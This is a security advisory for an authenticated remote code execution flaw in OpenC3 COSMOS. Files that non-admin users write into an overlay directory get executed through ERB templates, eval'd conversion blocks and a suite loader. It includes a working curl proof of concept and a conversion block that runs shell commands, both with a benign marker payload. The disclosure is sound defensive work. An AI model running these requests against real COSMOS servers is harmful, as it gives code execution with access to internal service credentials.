OpenC3 COSMOS CVE-2026-77602

Summary

COSMOS reads configuration from a user-writable overlay (targets_modified/) before the read-only plugin-installed targets/ tree, and the config subsystem executes code on those files: ConfigParser renders every file as ERB by default, a GENERIC_READ_CONVERSION / GENERIC_WRITE_CONVERSION block is evaluated as code by GenericConversion (Ruby and Python), and the Script Runner suite analysis requires a procedure file. An authenticated user can write into targets_modified/ below the admin tier (the storage-upload endpoint exempts that area from the admin gate, and the screen-save endpoint stores its body verbatim there), so the same root cause is reachable through several features, each giving arbitrary code execution on a COSMOS server.

Three vulnerable routes were identified, all reachable by an authenticated non-admin user (in the open-source edition authorize ignores the permission string, so any authenticated user qualifies):

1. Table definitions (immediate). tables#generate|report|load reads a definition from targets_modified/ and ERB-renders it and evaluates its GENERIC_*_CONVERSION block in the cmd-tlm-api container.
2. Command/telemetry definitions (persistent). A file written to targets_modified/<TARGET>/cmd_tlm/ is overlaid by System.setup_targets and processed by PacketConfig in the decom/multi microservices: ERB-rendered in the Ruby implementation, and GENERIC-evaluated in both the Ruby and Python implementations (the Python ConfigParser does not run ERB). It executes on the next microservice (re)start.
3. Script Runner suites (immediate). A procedure written to targets_modified/<TARGET>/procedures/ is required by the suite analysis, reachable at the read-only script_view tier through scripts#body and running_script#show (the analysis subprocess is spawned when OPENC3_SERVICE_PASSWORD is configured, which it is in the shipped .env).

Details

Root cause. TargetFile.body (Ruby openc3/lib/openc3/utilities/target_file.rb, Python openc3/python/openc3/utilities/target_file.py) reads {scope}/targets_modified/{name} before {scope}/targets/{name}. The storage-upload endpoint storage_controller.rb get_upload_presigned_request is gated at system_set and exempts targets_modified/ and tmp/ from its admin check (so a write there is not admin-gated); for a target path it additionally calls authorize_bucket_path, which in the permission-enforcing edition requires tlm on the target, while in the open-source edition authorize ignores the permission string entirely. screens_controller.rb create (system_set) stores its request body verbatim under targets_modified/<target>/screens/. So a non-admin can place files in the overlay. The config subsystem then executes them.

Sink 1, ERB. ConfigParser#parse_file renders the file as ERB before parsing (run_erb defaults to true):

# openc3/lib/openc3/config/config_parser.rb:402
output = ERB.new(File.read(filename)...comment_erb(), trim_mode: "-").result(...)

Reached for table definitions via tables_controller.rb -> Table.get_definitions -> TableConfig.process_file -> parse_file, and for cmd/tlm definitions via System.setup_targets (system.rb, whose overlay loop copies targets_modified/<T>/cmd_tlm/* over the read-only files) -> PacketConfig#process_file -> parse_file.

Sink 2, GENERIC conversion. PacketConfig/TableConfig build a GenericConversion from a GENERIC_READ_CONVERSION_START .. END / GENERIC_WRITE_CONVERSION_START .. END block, and GenericConversion#call evaluates it (independent of ERB):

# openc3/lib/openc3/conversions/generic_conversion.rb (call)
eval(@code_to_eval)
# Python openc3/python/openc3/conversions/generic_conversion.py (call): compile()/exec()/eval()

The read conversion fires on tables#report/load and during telemetry decom; the write conversion fires on tables#generate and on restore_defaults.

Sink 3, suite require. The Script Runner suite analysis executes the file:

# openc3-cosmos-script-runner-api/scripts/run_suite_analysis.rb:24
require ARGV[1]
# runs all top-level code of the supplied file

reached from Script.process_suite, invoked by scripts#body and running_script#show (both script_view) and scripts#create (script_edit) when the file matches the suite pattern.

Permission tiers. Writing the payload needs system_set (screen save, storage upload) or script_edit (script create); triggering needs system (tables) or script_view (suite). These are below the tiers where COSMOS gates code execution elsewhere (plugin install requires admin, running a script requires script_run).

PoC

Table definition path, against a standard stack. Benign payload writes id to a marker file. This PoC uses the open-source password login; in the permission-enforcing edition substitute a bearer token for a user holding the permissions noted above.

BASE=http://localhost:2900/openc3-api
# adjust to your deployment
TOKEN=$(curl -s -X POST "$BASE/auth/verify" -H 'Content-Type: application/json' -d '{"password":"<your password>"}')
# 1) Write the payload into targets_modified/ via the screen save endpoint.
curl -s -X POST "$BASE/screen" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'target=INST' --data-urlencode 'screen=poc' \
  --data-urlencode $'text=SCREEN AUTO AUTO 1.0\n<%= File.write("/tmp/erb_rce_poc", `id`) %>\nLABEL poc'
# 2) Trigger by pointing a table action at that file.
curl -s -X POST "$BASE/tables/generate" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'definition=INST/screens/poc.txt'

Then in the cmd-tlm-api container: cat /tmp/erb_rce_poc shows uid=1001(openc3) .... The tables/generate request returns HTTP 500 (the screen lines are not valid table keywords); the marker shows the code already ran.

The same outcome without ERB, using the GENERIC sink, on the same tables/generate trigger:

TABLE "data" BIG_ENDIAN KEY_VALUE "poc"
  APPEND_PARAMETER "item1" 8 UINT 0 255 0 "Item"
    GENERIC_WRITE_CONVERSION_START
      `id > /tmp/erb_rce_poc`
      0
    GENERIC_WRITE_CONVERSION_END

cmd/tlm path: upload a telemetry definition containing the same ERB or GENERIC block to targets_modified/<TARGET>/cmd_tlm/<file>.txt via the storage-upload presigned request (system_set), then the code runs in that target's decom microservice on its next restart. Suite path: write a suite-shaped procedure to targets_modified/<TARGET>/procedures/<x>.rb and call scripts#body on it at script_view.

The ERB table chain was confirmed end to end over HTTP against a booted Rails and puma instance.

Impact

Arbitrary code execution as the openc3 user in the cmd-tlm-api container and the per-target decom microservices and the script-runner. Those processes hold the Redis and bucket credentials and sit on the internal service network, so the executed code acts with that authority over configuration, telemetry, and command data across scopes. The API is served through Traefik, which the shipped compose binds to 127.0.0.1:2900, so a default single-host install is reachable only from the host; a multi-user deployment exposes the web port, and the AV:N rating reflects that standard remote-operator exposure.

All paths require valid authentication, and the triggering permissions (system/system_set/script_view) are below the admin/script_run/plugin-install tiers where COSMOS gates code execution. In the open-source edition authorize checks only token validity and does not enforce the permission string, so any authenticated user can perform these requests.

Suggested fix

The fix is to treat the user-writable overlay as data, never code, and to gate the writers, applied uniformly:

• Load table and cmd/tlm definitions for code-execution paths from the read-only targets/ tree only, or parse the targets_modified overlay with ERB disabled (run_erb=false); dynamically-created packet definitions are structural and never need ERB, so this does not regress that feature.
• Allow only admin and the server-side dynamic-packet mechanism to write a cmd_tlm overlay; reject non-canonical object keys so a positional path check cannot be bypassed by a key the object store normalizes differently.
• Run the Script Runner suite analysis (which executes the file) only at the script_run tier, at every entry point.
• Mirror the definition-read change in the Python implementation.